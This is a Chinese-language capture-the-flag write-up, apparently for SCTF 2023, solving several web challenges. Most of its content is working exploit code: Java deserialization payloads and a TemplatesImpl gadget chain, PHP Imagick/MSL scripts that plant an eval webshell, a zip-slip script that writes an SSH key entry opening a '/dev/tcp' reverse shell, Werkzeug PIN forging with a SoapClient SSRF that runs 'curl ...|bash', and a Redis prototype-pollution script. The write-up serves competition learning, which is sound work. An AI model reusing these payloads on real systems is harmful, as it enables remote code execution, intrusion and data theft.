和师傅们组了队一起去玩,真爽

WEB 解题就是 5/6,还是太菜

CTF 真好玩,交 flag 的时候可激动了,爷们要战斗!

ezcheck1n

二血.jpg

https://github.com/dhmosfunk/CVE-2023-25690-POC

如果访问 http://115.239.215.75:8082/2023/ 则返回的数据头中存在 Server: Apache/2.4.54 (Debian)
如果访问 http://115.239.215.75:8082/ 那么返回的数据头是 Apache/2.4.55 (Unix)

这就是题目描述里面提到的两个容器

猜测应该是 flag 在 Debian 这里面,查看 /2023/ 的时候看到这一段代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$FLAG = "flag{fake_flag}";
@file_get_contents("http://".$_GET['url'].$FLAG);
# but it's not the real flag
# beacuse someone say this year is not 2023 !!! like the post?
show_source('./2023.php');
$a = file_get_contents('./post.jpeg');
echo '<img src="data:image/jpeg;base64,' . base64_encode($a) . '">';
# notice -> time
# How should you get to where the flag is, the middleware will not forward requests that are not 2023
?>

首先,$FLAG 是一个假的 flag,即 show_source('./2023.php'); (而不是 show_source(__FILE__);)给我们看的 2023.php 里面不存在真 flag
那么根据他给我们的那一张图片,flag 应该是在 2022.php 里面,给我们解析的文件应该也就是 2022.php,但是不给我们看这个 php 里面的 flag

然后,我们看到的 @file_get_contents("http://".$_GET['url'].$FLAG);

如果直接 http://115.239.215.75:8082/2023?url=vps:port/ ,vps 是收不到一点请求的
可能 Apache 做转发的时候不会带上 url 参数

总结就是:http 走私,让它带上 url 参数到后端容器里去

hellojava

还能二血.jpg

传入 {"Base64Code":"AAAA","":true} 可以绕过

MyBean user = (MyBean)mapper.readValue(Base64.decode(BaseJson), MyBean.class);

https://github.com/yarocher/lazylist-cve-poc.git

版本对得上,应该就是这一个了
mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="./security/blacklist.txt false" 生成 Base64 payload

本地反序列化这一段,会把 security/blacklist.txt清空

1
rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAWc2VjdXJpdHlcYmxhY2tsaXN0LnR4dHcCAFx4c3EAfgACdnIAMHNjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0JFN0YXRlJEVtcHR5JAAAAAAAAAADAgAAeHB4eA==

再使用 jackson 利用链,可以裸反序列化 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Templates templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = c.getDeclaredField("_bytecodes"); // bytecode 是个二维数组
bytecodeField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("target\\test-classes\\evil.class"));
byte[][] codes = { code };
bytecodeField.set(templates,codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11);
setFiledValue(badAttributeValueExpException,"val",pojoNode);

serialize(badAttributeValueExpException);

fumo_backdoor

一半原题(原头原脑原肚皮.jpg

Imagick new $class($argv); 写入文件 /tmp/sess_tel

调用 call_user_func("session_start"); 触发 session 序列化,调用 __sleep

https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

readfile 不能出现 f l a g 这四个字符

去翻 imagick 的文件格式,找到个格式符合的,把 flag 读到 /tmp 下,绕过 open basedir

到官网找一下所有的 format https://imagemagick.org/script/formats.php

保存好 html,写一个 parse 把所有的 formats 取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from bs4 import BeautifulSoup

html = open("format.html","r").read()

soup = BeautifulSoup(html, 'html.parser')

tr_tags = soup.find_all('tr')
print(len(tr_tags))
for tr_tag in tr_tags:
th_tag = tr_tag.find('th')
if th_tag:
content = th_tag.text
print(str(content).lower())

td_tag = tr_tag.find('td')
if td_tag:
content = td_tag.text
print(str(content).lower())

本地搭建环境,看看到底是那些 format 可以用来读取 /flag

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('open_basedir', __DIR__.":/tmp");
$protocol = $_GET['p'];
$data = '<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="'.$protocol.':/flag" />
<write filename="/tmp/FLAG'.$protocol.'" />
</image>';
file_put_contents("/tmp/1.xml",$data);
new Imagick("vid:msl:/tmp/1.xml");

脚本遍历

1
2
3
4
5
6
7
8
9
10
11
import requests
import time

url = "http://127.0.0.1:18080/test.php?p="
formats = open("format.txt","r").read().split()

for format in formats:
print(f"format: {format}")
r = requests.get(url+format)
print(r.text)
time.sleep(1)

进容器查看对应的 format

app1 格式

最后的 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
import requests
import time

url = "http://47.99.77.113:18080/?cmd=unserialze"
# url = "http://127.0.0.1:18080/?cmd=unserialze"

def sleep():
time.sleep(1)

if(sys.argv[1] == "1"):
# rm
r = requests.get("http://47.99.77.113:18080/?cmd=rm")
print(r.text)
sleep()

# file write
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep()
# file write
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
# print(r.text)

# session_start
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)

hack.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" />
<write filename="/tmp/sess_tel" />
</image>

lfi.xml

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="app1:/flag" />
<write filename="/tmp/FLAG" />
</image>

SycServer

readfile 路由反编译也没看懂,盲猜了个 file 参数

file=/start.sh 这个文件可以读到,算是一个很关键的提示

zipslip 可以修改掉 /home/vanzy/.ssh/authorized_keys

反编译看 main 二进制,路由 admin 这里有 /home/vanzy/.ssh/id_rsa ssh localhost:2221 这些关键字符串,像是自己连自己的 ssh

本地搭建环境,可以看到确实如此(我甚至在自己的服务器上创建了 vanzy 账户,赛后就给你删了.jpg

之后就是上 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import os

url = "http://159.138.131.31:8888/"
# url = "http://119.13.91.238:8888/"
# url = "http://t-kali:8888/"

with open("keys","w") as f:
f.write('command="bash -c \'bash -i >& /dev/tcp/vps/port 0>&1\'" ')
r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys")
f.write(r.text)
f.close()
os.system("python3 zip.py")

# upload

r = requests.post(url+"file-unarchiver",
files={"file": ("key.zip", open("key.zip","rb").read())})

print(r.text)
r = requests.get(url + "readfile?file=/home/vanzy/.ssh/authorized_keys")
print(r.text)
r = requests.get(url + "admin")
print(r.text)

pypyp?

给 start session

1
curl http://115.239.215.75:8081/ -H "Cookie: PHPSESSID=tel" -F 'PHP_SESSION_UPLOAD_PROGRESS=111'

然后能看到高亮的源码

变量覆盖之后可以

  1. SSRF SoapClient
  2. 读文件 https://www.extrader.top/posts/35c0085d/#SimpleXMLElement SimpleXMLElement
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";

?>

xxe 读到 /app/app.py

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
return 'Hello World!'

if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)

算 pin 码

  1. /etc/passwd

  1. /usr/lib/python3.8/site-packages/flask/app.py

glob 匹配一下

  1. 02:42:ac:13:00:02 /sys/class/net/eth0/address
  2. 349b3354-f67f-4438-b395-4fbc01171fdd /proc/sys/kernel/random/boot_id
  3. /proc/self/cgroup
text
1
2
3
4
5
6
7
8
9
10
11
12
13
12:devices:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
11:net_cls,net_prio:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
10:rdma:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
9:memory:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
8:freezer:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
7:cpu,cpuacct:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
6:hugetlb:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
5:perf_event:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
4:blkio:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
3:cpuset:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
2:pids:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
1:name=systemd:/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
0::/docker/96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687

开算 121-260-582

要计算 Cookie:

  1. Cookie name 就是这个

  1. Cookie_value 看这里

https://github.com/pallets/werkzeug/blob/82b5ac433c54b8d03cb0de9fdc16a4c58b935860/src/werkzeug/debug/init.py#LL480C27-L480C27

做到这里的时候已经晚上十一点多,想要造 SoapClient 发了几次没成功,拿了个麦麦回宿舍,队友把后半段补上,在凌晨一点半左右解出来(真肝啊

1
2
3
4
5
<?php
$exp1 = new SoapClient(null,array('user_agent'=>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687101288|11b8517fb9fb",'location'=>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen("curl%20http://vps:port/1.txt|bash")&frm=0&s=DhOJxtvMXCtezvKtqaK9','uri'=>'test'));
$arr3 = array("properties"=>urlencode(serialize($exp1)));
$b = serialize($arr3);
echo $b;
1
2
3
4
5
import requests
url = 'http://115.239.215.75:8081/'
data={'data':'a:1:{s:10:"properties";s:528:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A149%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.popen%28%22curl%2520http%3A%2F%2F121.5.238.52%3A30660%2F1.txt%7Cbash%22%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A63%3A%22test%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687101288%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}','PHP_SESSION_UPLOAD_PROGRESS':'abu'}
r = requests.post(url,data=data,headers={'Cookie':'PHPSESSID=abu'},files={'file':'sss'})
print(r.text)

suid 提权


赛后复现 an4er_monitor

原型链污染,可以自定义 http.get 中部分 options

socketPath 设置成 redis.conf 之中的 /run/redis/redis.sock

http.get 向外发送请求的时候,会先经过 redis sock

反正 redis 也没有密码,对着这个 sock 发送 SET IsAdminSession HTTP/1.1

1
2
3
4
5
6
7
8
9
import requests
url = "http://127.0.0.1:3000/api/server/"

requests.get(url + "import?urls.__proto__.method=SET")
requests.get(url + "import?urls.urrll=0.0.0.0")
requests.get(url + "import?urls.__proto__.socketPath=/run/redis/redis.sock")
requests.get(url + "check?hostname=0.0.0.0&path=IsAdminSession")
r = requests.get(url + "getflag")
print(r.text)